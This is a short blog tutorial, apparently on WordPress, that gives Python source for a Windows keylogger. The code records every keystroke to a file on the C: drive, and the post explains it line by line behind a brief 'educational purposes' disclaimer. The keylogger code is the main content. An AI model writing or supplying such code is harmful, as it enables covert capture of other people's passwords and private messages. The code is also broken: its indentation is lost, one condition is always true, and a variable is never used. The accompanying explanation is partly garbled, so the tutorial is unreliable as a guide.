How to create a keyLogger in Python

maxresdefault

In this tutorial we are going to learn how to create keylogger in python, you can use to log your keys in your computer

This Tutorial is only for educational purposes if you use the code on other’s computer without their permission we won’t carry any responsibility.

Open up an empty file in your favorite text editor and Buckle Up

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5: 
sys.exit() 
if event.Ascii != 0 or 8: 
f = open ('c:\\output.txt', 'a') 
keylogs = chr(event.Ascii) 
if event.Ascii == 13: 
keylogs = keylogs + '\n' 
f.write(keylogs) 
f.close() 
while True:
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages()

 

import win32api

The Following Line is used to import the Windows API in order for the keylogger to record the keystrokes using the key events.

import sys

The library is used for the system specific functions that will help python to work at the system level.

import pythoncom, pyHook

The python library is used Wrap the low-level mouse and keyboard events so that we can use those events in our python application.

buffer = ''

We are going to need a temporary buffer string because we the key pressed it raises an event and the data of the key is stored in a temporary buffer before the can be written into a file.

def OnKeyboardEvent(event):

A trigger function is defined with the event object as argument which will only trigger when the keys of the keyboard are pressed.

if event.Ascii == 5:

In the case of the event trigger is 5, The code will be terminated since the next lime is exit function.

In the case of the number event, the number is logged into the file in the form of the character.

if event.Ascii != 0 or 8: 



f = open ('c:\\output.txt', 'a') 
keylogs = chr(event.Ascii) 

if event.Ascii == 13: 
keylogs = keylogs + '\n' 
f.write(keylogs) 
f.close() 



This is the case where the character is pressed the character data is written into the file named output.txt in C: drive.

while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

The program Runs in a continuous loop when there is keyboard event the event trigger is called and keylogger definition is executed.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s